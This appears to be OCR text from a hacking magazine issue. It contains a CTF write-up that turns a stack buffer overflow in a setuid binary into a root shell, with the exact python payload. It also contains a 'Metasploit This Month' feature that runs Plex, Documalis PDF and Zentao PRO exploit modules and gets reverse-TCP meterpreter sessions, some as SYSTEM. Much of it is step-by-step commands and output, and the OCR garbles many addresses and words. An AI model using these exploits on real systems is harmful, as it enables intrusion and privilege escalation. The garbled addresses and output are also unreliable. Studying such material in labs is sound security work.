 -AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABFAB5ABKABgAB6ABLABhAB7ABMABiAB8A
 BNAB jAB9ABOABkABPABlaBQABmABR" ... )
 Legend: code, data
                   , rodata, value
 Stopped reason:
           in ?? ()
          pattern offset 0×4e734138
 1316176184 found at offset: 516
Now, I will use python to generate exactly 516 characters of alphabet "H" and then four "c"'s.
and feed it to a file name "crash1".
 fox@FoxHole:~$ python3 -c 'print("H"*516 + "CCCC")'
```

I once again run the GiveMeRootPlz program by feeding it the input from "crash1" file.

```
r < crash1
Starting program: /nome/fox/GiveMeRootPlz < crash1
Do you want the root password?
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password
Program received signal SIGSEGV, Segmentation fault.
EAX: 0×0
EBX: 0×48484848 ('HHHH')
ECX: 0×ffffffff
EDX: 0×ffffffff
ESI: 0×f7fb5000 → 0×1e6d6c
EDI: 0×f7/b5000 → 0×1e6d6c
EBP: 0×48484848 ('HHHH')
                                 → 0×1e6d6c
EIP: 0×43434343 ('CCCC')
EFLAGS: 0×10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
0000
      0 \times 11110620 \rightarrow 0 \times 17155000 \rightarrow 0 \times 1e6d6c
                                 → 0×1e6d6c
0004
      0 \times ffffd628 \longrightarrow 0 \times 0
0008
      0×ffffd62c -> 0×f7decee5 (<__libc_start_main+245>: add
0012
                                                                            esp,0×10)
0016
      0 \times ff ff fd 630 \longrightarrow 0 \times 1
      p=ffffd634 -> 0=ffffd6c4 -> 0=ffffd7ee ("/home/fox/GiveMeRootPlz")
0020
      0xffffde38 -> 0xffffd6cc -> 0xffffd806 ("SHELL=/bin/bash")
0024
0028 0×ffff063c → 0×ffffd654 → 0×0
Legend: code, data, rodata, value
Stopped reason:
 43434343 in ?? ()
```

The program crashed once again and if you notice, the memory address changed to 0x4343-4343 which is the hexadecimal equivalent of character "C". Very good. I can totally control execution now. The next step now is to try to elevate privileges using this. The strings command has shown that there is /bin/bash command somewhere. We have also seen that this progeram "GiveMeRootPlz" is running with root privileges. So if I can somehow execute /bin/bash command from this GiveMeRootPlz script, I can get a root shell. The only problem is where exactly is this /bin/bash. PEDA has a solution for this too. The info functions command can give the names of all the functions in this script.

```
info functions
info functions
All defined functions:
Non-debugging symbols:
           __cxa_finalize@plt
           setresuid@plt
           printfaplt
           gets@plt
           geteuidoplt
           getegid@plt
           putsaplt
           systemaplt
           __libc_start_main@plt
           setresgidaplt
           start
           __x86.get_pc_thunk.bx
```

I decided to check the code of the "secret" function. This can be done using the disas command as shown below.

```
disas secret
Dump of assembler code for function secret:
                         endbr32
              <+0>:
              <+4>:
                         push
                                ebp
                                ebp, esp
              <+5>:
                         mov
              <+7>:
                         push
                                ebx
                                esp,0×14
              <+8>:
                         sub
                         call
                                           <__x86.get_pc_thunk.bx>
              <+11>:
                         add
                                ebx,0×2cff
              <+16>:
                                           <geteuid@plt>
                         call
              <+22>:
                                DWORD PTR [ebp-0×c],eax
              <+27>:
                         mov
              <+30>:
                         sub
                                esp,0×4
                                DWORD PTR [ebp-0×c]
           <+33>:
                         push
                                DWORD PTR [ebp-0×c]
                         push
              <+36>:
                                DWORD PTR [ebp-0×c]
              <+39>:
                         push
                                           <setresuid@plt>
                        call
              <+42>:
                                esp,0×10
              <+47>:
                         add
                        call
                                           <getegidaplt>
              <+50>:
                                DWORD PTR [ebp-0×10],eax
              <+55>:
                         mov
             <+58>:
                                esp,0×4
                         sub
                                DWORD PTR [ebp-0×10]
              <+61>:
                        push
                                DWORD PTR [ebp-0×10]
              <+64>:
                         push
                                DWORD PTR [ebp-0×10]
              <+67>:
                         push
                        call
              <+70>:
                                       160 <setresgid@plt>
              <+75>:
                                esp.0×10
                         add
              <+78>:
                                esp,0×c
                         sub
                                eax,[ebx-0×1fb4]
  0×565562fe <+81>:
                        lea
                        push
              <+87>:
                                           <system@plt>
                        call
              <+88>:
                                esp,u×10
             <+93>:
                         add
                                ebx,DWORD PTR [ebp-0×4]
              <+96>:
                        mov
  0*56556310 <+99>:
                        leave
  **56556311 <+100>:
                         ret
```

In the "secret" function, it can be seen that there is a call to "system" function. SO this may be -e the function we need. This function starts at memory address 0x565562ad. Since we know the offset is 516 characters, adding 516 characters to the memory address 0x565562ad she -ould allow me to access /bin/bash. This memory address should be added in the reverse order as shown below.

```
fox@FoxHole:~$ python3 -c 'print("H"*516 + "\xad\x62\x55\x56")' > crash3
fox@FoxHole:~$
```

Here, I add 516 characters of "H" to the above mentioned memory address and save it to the file crash3. I once again ran the GiveMeRootPlz script by feeding it the newly created file na -med crash3.

```
r < crash3
Starting program: /nome/fox/GiveMeRootPlz < crash3
Do you want the root password?
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password
Program received signal SIGSEGV, Segmentation fault.
EAX: 0×0
EBX: 0×48484848 ('HHHH')
ECX: 0×ffffffff
EDX: 0×ffffffff
ESI: 0×17fb5000 → 0×1e6d6c
EDI: 0-f7fbsec
                → 0×1e6d6c
EBP: 0×48484848 ('HHHH')
EIP: 0×5562adc2
EFLAGS: 0×10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
              \longrightarrow 0×f7fb0056 \longrightarrow 0×c7410c0e
00001
0004
      0×ffffd574 → 0×f7fb5000 → 0×1e6d6c
0008
      0 \times ffffd378 \longrightarrow 0 \times 0
      ##ffffd57c -> 0×f7decee5 (<__libc_start_main+245>:
                                                                        esp,0×10)
0012
                                                                 add
      0=fffffd580 \longrightarrow 0\times1
0016
     \rightarrow Cufff(0810 \rightarrow Dufff(0750 ("/home/fox/GiveMeRootPlz")
0020
     0*ffffd588 -> 0*ffffd61c -> 0*ffffd774 ("SHELL=/bin/bash")
0024
     0×ffffdSBc → 0×ffffdSa4 → 0×0
0028
Legend: code, data, rodata, value
Stopped reason:
         2 in ?? ()
```

But the program crashed once again. This time the crash occurred at a different memory add ress. After checking and rechecking, I decided to tinker with the input. I added only 515 char acters of "H" to the address and ran the program again.

```
fox@FoxHole:~$ python3 -c 'print("H"*515 + "\xad\x62\x55\x56")' > crash3
fox@FoxHole:~$
          r < crash3
Starting program: /home/fox/GiveMeRootPlz < crash3
Do you want the root password?
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password
[Attaching after process 1475 vfork to child process 1476]
[New inferior 2 (process 1476)]
[Detaching vfork parent process 1475 after child exec]
[Inferior 1 (process 1475) detached]
process 1476 is executing new program: /usr/bin/dash
[Attaching after process 1476 fork to child process 1477]
[New inferior 3 (process 1477)]
[Detaching after fork from parent process 1476]
[Inferior 2 (process 1476) detached]
process 1477 is executing new program: /usr/bin/bash
[Inferior 3 (process 1477) exited normally]
Warning: not running
```

This time the program did not crash and the good thing is, it called bash. It's time to understa -nd what's happening exactly in detail. For this, I disassemble the code of the "overflow" func -tion where the vulnerability exists.

```
disas overflow
Dump of assembler code for function overflow:
              <+0>:
                         endbr32
              <+4>:
                         push
                                ebp
              <+5>:
                                ebp,esp
                         mov
   0×56556319 <+7>:
                         push
                                ebx
   0×5655631a <+8>:
                         sub
                                esp,0×204
   0×56556320 <+14>:
                         call
                                            <__x86.get_pc_thunk.bx>
                         add
  0×56556325 <+19>:
                                ebx,0×2c97
  0×5655632b <+25>:
                                esp,0×c
                         sub
                                eax,[ebx-0×1fa8]
   0-5655632e <+28>:
                         lea
   0×56556334 <+34>:
                         push
                                eax
   0×56556335 <+35>:
                         call
                                0×565560f0 <printf@plt>
   0×5655633a <+40>:
                         add
                                esp,0×10
  0×5655633d <+43>:
                         sub
                                esp,0×c
  0×56556340 <+46>:
                                eax,[ebp-0×200]
                         lea
  0×56556346 <+52>:
                                eax
                         push
                                0×56556100 <gets@plt>
                         call
  0×56556347 <+53>:
              <+58>:
                         add
                                esp,0×10
                                DWORD PTR [ebp-0×c],eax
  8×5555534f <+61>:
                         mov
              <+64>:
                                esp,0×c
                         sub
                                eax,[ebx-0 \times 1f88]
              <+67>:
                         lea
  0×5655635b <+73>:
                         push
                                eax
                         call
                                0×565560f0 <printf@plt>
              <+74>:
  0 * 56556361 <+79>:
                         add
                                esp,0×10
              <+82>:
                         sub
                                esp,0×c
                                eax,[ebx-0×1f6c]
  0×56556367 <+85>:
                         lea
              <+91>:
                         push
                                eax
                                            <puts@plt>
                         call
              <+92>:
  0×56556373 <+97>:
                                esp,0×10
                         add
  0 · 56556376 <+100>:
                                eax,0×0
                         mov
                                ebx, DWORD PTR [ebp-0×4]
  0×5655637b <+105>:
                         mov
              <+108>:
                         leave
   0×5655637f <+109>:
                         ret
End of assembler dump.
```

For better understanding, I create a breakpint at the ret command.

```
gdb-peda$ break *0×5655637f
Breakpoint 1 at **5655637f
gdb-peda$
```

This break point stops the execution at the ret command. This will allow us to understand what are also happening when ret command is executed.

```
db-peda$ r < crash3
Starting program: /home/fox/GiveMeRootPlz < crash3
Do you want the root password?
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password
EAX: 0×0
EBX: 0×48484848 ('HHHH')
ECX: 0×ffffffff
EDX: 0×ffffffff
ESI: 0×f7fb5000 → 0×1e6d6c
EDI: 0×f7fb5000 → 0×1e6d6c
EBP: 0×c2484848
ESP: 0xffffd56c -> 0x565562ad (<secret>:
                                               endbr32)
                                  ret)
EIP: 0×5655637f (<overflow+109>:
EFLAGS: 0×286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
  0×56556376 <overflow+100>:
                                      eax,0×0
                               mov
                                      ebx, DWORD PTR [ebp-0×4]
  0×5655637b <overflow+105>:
                               mov
  0×5655637e <overflow+108>:
                               leave
⇒ 0×5655637f <overflow+109>:
                               ret
  0×56556380 <main>: endbr32
  0×56556384 <main+4>: push
                              ebp
```

We can see in the stack that the execution moves to the "secret" function.

```
(<secret>:
                                                         endbr32)
0000
                                      → A×TGORDC
4999
0008
                                      → 0×1e6d6c
0012
                    \longrightarrow 0×0
       0xffffd57c -> 0xf7decee5 (<__libc_start_main+245>:
                                                                                    esp,0×10)
0016
                                                                            add
       Ovfffffd580 -> 0×1
0020
      0 \times (f/f \otimes 584) \longrightarrow 0 \times (f/f \otimes 614) \longrightarrow 0 \times (f/f \otimes 75c) ("/home/fox/GiveMeRootPlz")
0024
      exffffd588 -> 0xffffd51c -> 0xffffd774 ("SHELL=/bin/bash")
0028
Legend: code, data, rodata, value
Breakpoint 1, ******** in overflow ()
```

Let's disassemble the code of "secret" function again.

```
disas secret
Dump of assembler code for function secret:
              <+0>:
                        endbr32
                        push
              <+4>:
                               ebp
              <+5>:
                        mov
                               ebp,esp
   0×56556204 <+7>:
                        push
                               ebx
                               esp.0×14
  #*56556265 <+8>:
                        sub
   0*56556208 <+11>:
                                          <__x86.get_pc_thunk.bx>
                        call
  0 × 565562bd <+16>:
                               ebx,0×2cff
                        add
                                          <geteuid@plt>
                        call
  0×565562c3 <+22>:
   <+27>:
                               DWORD PTR [ebp-0×c],eax
                        mov
   8×565562cb <+30>:
                        sub
                               esp,0×4
  # 565562ce <+33>:
                               DWORD PTR [ebp-0×c]
                        push
                               DWORD PTR [ebp-0×c]
                        push
              <+36>:
                               DWORD PTR [ebp-0×c]
                        push
   0 × 565562d4 <+39>:
                                          <setresuid@plt>
                        call
             <+42>:
             <+47>:
                        add
                               esp.0×10
                        -- 7 7
                                          <getegid@plt>
                        call
             <+50>:
  0×565562e4 <+55>:
                               DWORD PTR [ebp-0×10],eax
                        mov
                               esp,0×4
             <+58>:
                        sub
                               DWORD PTR [ebp-0×10]
                        push
              <+61>:
                               DWORD PTR [ebp-0×10]
              <+64>:
                       push
                               DWORD PTR [ebp-0×10]
              <+67>:
                        push
                                           <setresgid@plt>
                        call
              <+70>:
              <+75>:
                        add
                               esp,0×10
              <+78>:
                        sub
                               esp.0×c
                               eax,[ebx-0×1fb4]
              <+81>:
                        lea
                        push
              <+87>:
                               eax
                                          <system@plt>
                        call
              <+88>:
                        add
                               esp,0×10
              <+93>:
                               ebx, DWORD PTR [ebp-0×4]
              <+96>:
                        mov
                        leave
              <+99>:
              <+100>:
                        ret
End of assembler dump.
```

The highlighted instruction is of utmost importance to us. lea stands for "load effective addres -s". ebx here is the source operand whereas eax is the destination operand. This instruction takes whatever data is at the address specified by the source operand and loads it into the d -estination operands. So what we have to do now is feed the input in crash3 to the program "GiveMeRootPlz" to get the shell on the target.

```
fox@FoxHole:~$ cat crash3 | ./GiveMeRootPlz

Do you want the root password?
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password
Segmentation fault (core dumped)
fox@FoxHole:~$
```

The program once again crashed without giving us any shell. But why? It seems when cat ra -n, bash closed STDIN (standard input). STDIN is used to provide input. The | symbol stands for piping in which we redirect one input into another. Here we are redirecting the output of c-at command to the GiveMeRootPlz script.

The above problem occurred because as soon as we ran cat command, the terminal closed and stopped taking any more input. Hence the program crashed. What is the solution now?. Simple, we force the standard input to stay open by running cat command without any input.

```
fox@FoxHole:~$ cat
hchc
hchc
crash3
crash3
^C
fox@FoxHole:~$
```


Hitting CTRL+C will get us out of the terminal by keeping STDIN open. Then doing as shown below will give us a root shell.

```
fox@FoxHole:~$ id
uid=1000(fox) gid=1000(fox) groups=1000(fox),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd).132(sambashare)
fox@FoxHole:~$ (cat crash3; cat) | ./GiveMeRootPlz

Do you want the root password?
You didn't convince me!
Maybe you should write me a *very long* reason why I should give you the password id
uid=0(root) gid=1000(fox) groups=1000(fox),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@FoxHole:~# id
id
uid=0(root) gid=1000(fox) groups=1000(fox),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
root@FoxHole:~# |
```

The only thing left to do is viewing the root flag.

```
rootaFoxHole:~# pwd
pwd
/home/fox
rootaFoxHole:~# cd /root
cd /root
rootaFoxHole:/root# ls
ls
flag.txt
rootaFoxHole:/root# cat flag.txt
cat flag.txt
```



With this the challenge is completed. We will be back with another CTF challenge in our next Issue.

D - Link Wifi Manager RCE, Linux Container Enumeration Modules & more

METASPLOIT THIS MONTH

Welcome to the September 2020's Metasploit This Month feature. Let us see the latest exploit modules of Metasploit.

Plex Media Server Windows RCE Module

TARGET: Plex Media Server < 1.19.3 TYPE: Remote ANTI-Malware : OFF

Plex Media Server is a client–server media player application that runs on Windows, macOS, and Linux. The above mentioned versions of Plex have an authenticated RCE vulnerability. However this can only be exploited on Windows. In this attack, any authenticated attacker ca -n create a photo library and add malicious files to it. After setting the Windows only Plex var -iable `LocalAppDataPath` to the newly created photo library, a file named `Dict` will be unpic -kled, which causes an RCE as the user who started Plex.

This was tested on Plex Media Server 1.18.5.2309 running on Windows 10. The down -load information of the vulnerable software is given in our Github repository. The Plex server needs to be claimed by an account as this module needs a Plex Token to work. Let's see how this module works. Load the plex_unpickle_dict_rce module.

msf5 > use exploit/windows/http/plex_unpickle_dict_rce
[*] Using configured payload python/meterpreter/reverse_tcp

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or you can get to us at our Facebook Page

Hackercool Magazine

or

tweet us at ohackercoolmagz

```
msf5 exploit(wi
                          s/http/plex_unpickle_dict_rce) > show options
Module options (exploit/windows/http/plex_unpickle_dict_rce):
                       Current Setting
                                               Required
                                                            Description
    Name
                                                             Name of Album
    ALBUM_NAME
                                               yes
                       C:\Users\Public
    LIBRARY_PATH
                                                             Path to write picture library to
                                               yes
                                                             Admin Authenticated X-Plex-Token
    PLEX_TOKEN
                                               ves
    Proxies
                                                             A proxy chain of format type:host:port[,t
                                               no
ype:host:port][...]
    REBOOT_SLEEP 15
                                                             Time to wait for Plex to restart
                                               yes
                                                             The target host(s), range CIDR identifier
    RHOSTS
                                               yes
   or hosts file with syntax 'file:<path>'
                                                             The target port (TCP)
                       32400
    RPORT
                                               yes
                       false
                                                             Negotiate SSL/TLS for outgoing connection
    SSL
                                               no
Plex access token can be obtained from the target machine using a debugger as shown bel-
OW.
 ← → O @

    127.0.0.1:32400/web/index.html#

                                                                                                      57 (0) ? □ ♂ X

■ PLEX
                                               4 0. 8 W W
                                                                                                        Find (Ctrl+F)
                                                                                                                00
                                                                                 127.0.0.1:32400
                                                            Type to filter
 Home
                                                                                  Key
                                                     -
                                                            4 Clocal Storage
                                                                                 anonymous ClientiD
                                                              127.0.0.1:32400
                                                                                                   7b0vyga1eccgxh1cyn9qi6r0
 Web Shows
                                                                                                   oqb2mru2oomytdr1hw4i6cw
                                                                                 clientiO
                                                            P Session Storage
                                                            It Is Indexed D6
                                                                                 lastSuccessfullAd
    News
                                                            1- Cookies
                                                                                 myPlexAccessToken
                                                                                                   mfLcTHVbwVph3btSVsss
                                                            1- a<sup>®</sup> Service Workers
                                                                                 sessionstats
                                                                                                   "heartbeatTime":1601138241869,"1
                                                                                 totalCalls.
 MORE >
                                                            » # 127.0.0.1:32400
                                                                                 totalCallsTimeout
                                                            Dynamic scripts
                                                                                                   ("users" (("id" 0, "lastPrimaryServerID" ....
                                                                                 users
                                                                                                   ("time":1601138948411,"id")"p7b9hkr...
                                                                                 vote/leader
                             Your home screen is
                                                                                 VASTURE
                                                                                                   VASTUUI
                                    empty
                                                                                        Call stack Erestments DOM breaken
                                                                                                                4루 현대
                             If this is unexpected, see our home
                                                            Add watch
                             removed everything and want it all
                            back, choosing Reset Customization
                           below will reset your sidebar navigation
                            and home screen layout to the default
                                      state.
                                RESET CUSTOMIZATION
Set all the required options and check if the target is vulnerable or not.
msf5 exploit(windows/http/plex_unpickle_dict_rce) > set rhosts 192.168.36.129
rhosts => 192.168.36.129
msf5 exploit(windows/http/plex_unpickle_dict_rce) > set album_name abc123
album_name => abc123
msf5 exploit(windows/http/plex_unpickle_dict_rce) > set lhost 192.168.36.158
lhost => 192.168.36.158
msf5 exploit(windows/http/plex_unpickle_dict_rce) > set plex_token key,value
plex_token => key,value
```

msf5 exploit(windows/http/plex_unpickle_dict_rce) > set plex_token mfLcTHVbwVph3btSVs

55

msf5 exploit(w

plex_token => mfLcTHVbwVph3btSVsss

```
msf5 exploit(windows/http/plex_unpickle_dict_rce) > check
[*] Gathering Plex Config
[*] Server Name: DESKTOP-U061SVS
[+] Server OS: Windows (10.0 (Build 17134))
[+] Server Version: 1.18.5.2309-f5213a238
[+] Camera Upload: 1
[+] 192.168.36.129:32400 - The target is vulnerable.
<u>msf5</u> exploit(w
The target is vulnerable. Execute the module now.
msf5 exploit(w
                                          ct rce) > run
[*] Started reverse TCP handler on 192.168.36.158:4444
[*] Gathering Plex Config
Server Name: DESKTOP-U061SVS
[+] Server OS: Windows (10.0 (Build 17134))
[+] Server Version: 1.18.5.2309-f5213a238
[+] Camera Upload: 1
[*] Using album name: abc123
Adding new photo library
[+] Created Photo Library: 1
Adding pickled Dict to library
[*] Changing AppPath
[*] Restarting Plex
[*] Sleeping 15 seconds for server restart
[*] Cleanup Phase: Reverting changes from exploitation
[*] Changing AppPath
[*] Restarting Plex
[*] Command shell session 1 opened (192.168.36.158:4444 -> 192.168.36.129:50885) at 2
020-09-26 13:15:28 -0400
[*] Deleting Photo Library
```

This should give us a command shell on the target system as shown in the above image.

Documalis Free Editor and Scanner For Windows BOF Module

TARGET: Documalis Free Editor v 5.7.2.26 & Free PDF Scanner v 5.7.2.122

TYPE: Local ANTI-Malware : OFF

Documalis Free PDF editor is a PDF editor that is used in manipulation of PDF files while Documalis Free PDF scanner is a software used for scanning PDF files. The above mentioned versions of the software do not securely validate the contents of the JPEG images in the PD-F files. This vulnerability can be used to trigger a buffer overflow on stack and execute remot e code on the target.

We tested this on Documalis Free PDF Editor 5.7.2.9 first running on Windows 10 targ -et. The download information of the vulnerable software is given in our Github repository.

```
# Name
Check Description

0 exploit/windows/fileformat/documalis_pdf_editor_and_scanner 2020-05-22 norma
No Documalis Free PDF Editor and Scanner JPEG Stack Buffer Overflow
```

```
Let's see how this module works. Load the documalis pdf editor and scanner module.
 msf6 > use exploit/windows/fileformat/documalis_pdf_editor_and_scanner
 [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
 msf6 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > show options
 Module options (exploit/windows/fileformat/documalis_pdf_editor_and_scanner):
                      Current Setting Required Description
    Name
                      msf.pdf
    FILENAME
                                                 The file name.
                                       no
                      ASCIIHEX
                                                 Select encoder for JavaScript Stream, val
    PDF :: Encoder
                                       yes
 id values are ASCII85, FLATE, and ASCIIHEX
                                                 Select PAGE, DOCUMENT, or ANNOTATION
                      DOCUMENT
    PDF::Method
                                       yes
                                                 Stack multiple encodings n times
    PDF::MultiFilter 1
                                       yes
                                                 Whether or not we should obfuscate the ou
    PDF::Obfuscate
                      true
                                       yes
 tput
 Payload options (windows/meterpreter/reverse_tcp):
              Current Setting Required Description
    Name
                                         Exit technique (Accepted: '', seh, thread, proces
    EXITFUNC
              process
                              yes
 s, none)
                                         The listen address (an interface may be specified
    LHOST
              192.168.36.132
                               ves
                                         The listen port
    LPORT
              4444
                               yes
    **DisablePayloadHandler: True
                                    (no handler will be created!)**
 Exploit target:
Set all the required options and execute the module to create the malicious payload.
 msf6 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > run
 [+] msf.pdf stored at /home/kali/.msf4/local/msf.pdf
 msf6 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) >
Now copy this payload to the target machine. Before we open it in the target system, we nee-
d to start a listener with the same configuration that we set for the payload.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
 payload ⇒ windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
   Name Current Setting Required Description
 Payload options (windows/meterpreter/reverse_tcp):
              Current Setting Required Description
    Name
                                         Exit technique (Accepted: '', seh, thread, proces
    EXITFUNC
              process
                               yes
 s, none)
                                         The listen address (an interface may be specified
    LHOST
                               yes
                                         The listen port
    LPORT
              4444
                               yes
```


```
msf6 exploit(multi/handler) > set lhost 192.168.36.132
lhost ⇒ 192.168.36.132
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.36.132:4444
```

When the malicious payload is opened with the vulnerable Documalis Free PDF Editor, we successfully get a meterpreter session on the target as shown below.

```
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.36.132:4444
[*] Sending stage (175174 bytes) to 192.168.36.1
Meterpreter session 1 opened (192.168.36.132:4444 → 192.168.36.1:49700) at 2020-11-1
8 08:35:20 -0500
meterpreter > sysinfo
Computer
               : Windows 10 (10.0 Build 18362).
05
Architecture
               : x64
System Language : en_IN
Domain
               : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > getuid
Server username:
meterpreter >
```

For exploiting Documalis FREE PDF Scanner, the process is same and to set the target to 1.



```
msf6 > use exploit/windows/fileformat/documalis_pdf_editor_and_scanner
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > show options
Module options (exploit/windows/fileformat/documalis_pdf_editor_and_scanner):
                     Current Setting Required
                                                Description
   Name
   FILENAME
                     msf.pdf
                                                The file name.
                                      no
                     ASCIIHEX
                                                Select encoder for JavaScript Stream, val
   PDF :: Encoder
                                      yes
id values are ASCII85, FLATE, and ASCIIHEX
                                                Select PAGE, DOCUMENT, or ANNOTATION
   PDF::Method
                     DOCUMENT
                                      yes
                                                Stack multiple encodings n times
   PDF::MultiFilter 1
                                      yes
                                                Whether or not we should obfuscate the ou
   PDF::Obfuscate
                                      yes
                     true
tput
Payload options (windows/meterpreter/reverse_tcp):
                                        Description
             Current Setting Required
   Name
   EXITFUNC
                                        Exit technique (Accepted: '', seh, thread, proces
            process
                              yes
s, none)
                                        The listen address (an interface may be specified
   LHOST
             192.168.36.132
                              ves
                                        The listen port
   LPORT
             4444
                              yes
   **DisablePayloadHandler: True
                                   (no handler will be created!)**
Exploit target:
Exploit target:
   Ιd
       Name
      Documalis Free PDF Editor v.5.7.2.26 / Win 7, Win 10
msf6 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) = set target 1
target \Rightarrow 1
msf6 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > run
[+] msf.pdf stored at /home/kali/.msf4/local/msf.pdf
msf6 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) >
msf6 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > use exploit/multi/han
dler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload ⇒ windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
   Name Current Setting Required Description
Payload options (windows/meterpreter/reverse_tcp):
             Current Setting Required Description
   Name
                                        Exit technique (Accepted: '', seh, thread, proces
   EXITFUNC
                              yes
            process
s, none)
```

```
msf6 exploit(multi/handler) > set lhost 192.168.36.132
lhost ⇒ 192.168.36.132
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.36.132:4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.36.132:4444
[*] Sending stage (175174 bytes) to 192.168.36.1
[*] Meterpreter session 1 opened (192.168.36.132:4444 \rightarrow 192.168.36.1:53507) at 2020-11-2
0 04:49:16 -0500
meterpreter > sysinfo
Computer
                : Windows 10 (10.0 Build 18362).
0S
Architecture : x64
System Language : en_IN
         : WORKGROUP
Domain
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > getuid
Server username:
meterpreter >
```

Zentao PRO RCE Module

TARGET: Zentao PRO <= 8.8.2 TYPE: Remote ANTI-Malware : OFF

Zentao PRO is a project management software used by many companies. The above mentio -ned versions of Zentao PRO have a command injection vulnerability which when exploited g ives attackers a shell with SYSTEM privileges. However, this is a module that needs valid credentials. This is because after authenticating to the ZenTao dashboard, the module tries to execute the malicious payload by submitting fake repositories via the 'Repo Create' function that is accessible only from dashboard.

We tested this on Zentao PRO version 8.8.2 running on Windows 10. The download information of the vulnerable software is given in our Github repository.

```
msf6 > use exploit/windows/http/zentao_pro_rce
Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/zentao_pro_rce) > show options
Module options (exploit/windows/http/zentao_pro_rce):
               Current Setting Required Description
   Name
                                           Password to authenticate with
   PASSWORD
                                 yes
   Proxies
                                           A proxy chain of format type:host:port[,type:ho
                                 no
st:port][ ... ]
                                           The target host(s), range CIDR identifier, or h
   RHOSTS
                                 yes
osts file with syntax 'file:<path>'
   RPORT
                                           The target port (TCP)
                80
                                           The local host or network interface to listen o
               0.0.0.0
   SRVHOST
                                 yes
n. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
                                           The local port to listen on.
   SRVPORT
               8080
                                 yes
                                           Negotiate SSL/TLS for outgoing connections
   SSL
               false
                                 no
                                           Path to a custom SSL certificate (default is ra
   SSLCert
                                 no
ndomly generated)
   TARGETPATH C:\Windows\Temp
                                           The path on the target where commands will be e
                                 ves
xecuted
   TARGETURI
                                           The base path to ZenTao
                /pro/
                                 yes
                                           The URI to use for this exploit (default is ran
   URIPATH
                                 no
dom)
                                           Username to authenticate with
   USERNAME
                admin
                                 yes
                                           HTTP server virtual host
   VHOST
                                 no
 Payload options (windows/meterpreter/reverse_tcp):
              Current Setting Required Description
    Name
                                         Exit technique (Accepted: '', seh, thread, proces
    EXITFUNC
              process
                               yes
 s, none)
                                         The listen address (an interface may be specified
    LHOST
                               yes
    LPORT
                                         The listen port
              4444
                               yes
 Exploit target:
       Name
    Ιd
       Windows (x86)
 msf6 exploit(windows/http/zentao_pro_rce) >
Set all the required options and check if the target is vulnerable or not.
 msf6 exploit(windows/http/zentao_pro_rce) > set rhosts 192.168.36.1
 rhosts ⇒ 192.168.36.1
 msf6 exploit(windows/http/zentao_pro_rce) > set password zentao1234
 password ⇒ zentao1234
 msf6 exploit(windows/http/zentao_pro_rce) > set username admin
 username ⇒ admin
msf6 exploit(windows/http/zentao_pro_rce) > check
[*] Running check
[*] 192.168.36.1:80 - The target appears to be vulnerable. Target is ZenTao version 8.8.2
The target is vulnerable. Execute the module now.
```

```
msf6 exploit(windows/http/zentao_pro_rce) > run
[*] Started reverse TCP handler on 192.168.36.132:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Target is ZenTao version 8.8.2.
[+] Successfully authenticated to ZenTao 8.8.2.
[*] Executing the payload ...
Command Stager progress - 20.97% done (2049/9770 bytes)
[*] Command Stager progress - 41.94% done (4098/9770 bytes)
Command Stager progress - 62.92% done (6147/9770 bytes)
[*] Command Stager progress - 83.89% done (8196/9770 bytes)
[*] Command Stager progress - 100.15% done (9785/9770 bytes)
[*] Sending stage (200262 bytes) to 192.168.36.1
Meterpreter session 1 opened (192.168.36.132:4444 → 192.168.36.1:61563) at 2020-11-1
4 02:16:19 -0500
meterpreter > sysinfo
Computer
               : Windows 10 (10.0 Build 18362).
0S
Architecture
              : x64
System Language : en_IN
         : WORKGROUP
Domain
Logged On Users : 2
               : x64/windows
Meterpreter
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

This should successfully give us a meterpreter session with SYSTEM privileges on the target system as shown in the above image.

FreeBSD ip6 setpktopt UAF PE Module

TARGET: FreeBSD 9,9.1-3, 12.0, 12.1 TYPE: Local ANTI-Malware: NA

